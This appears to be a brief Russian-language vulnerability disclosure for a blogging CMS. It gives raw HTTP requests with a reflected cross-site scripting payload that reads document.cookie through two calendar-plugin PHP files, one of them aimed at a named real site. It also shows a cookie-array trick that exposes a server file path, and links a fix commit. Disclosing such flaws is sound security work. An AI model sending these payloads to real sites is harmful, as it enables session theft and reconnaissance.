Cross Site Scripting

/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php

POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c4012g3bbcffe59d6f2b7637g; _metrika_enabled=
Host: blog.himic.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22

/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php

POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf1cae225f719d74d2086cg0a9394ad1
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22

Раскрытие директории:

Ошибка происходит из-за переменной key в Cookies, при создании её как массива key[] вылазит ошибка

GET /index.php HTTP/1.1
Cookie: PHPSESSID=8223940c401233bgcffe59d6f2b7637d; key[]=8223940c401233bbcffe59d6f2b7637g; _metrika_enabled=
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

Раскрытие:

/home/webmaster/www/SITEHOST.com/www/classes/modules/user/mapper/User.mapper.class.php line 71

PS: blog.himic.ru/blog/security/162.html

UPD1: исправлено github.com/livestreet/livestreet/commit/a5b7cd5979a9a20fe100a5cd1a748603b1159680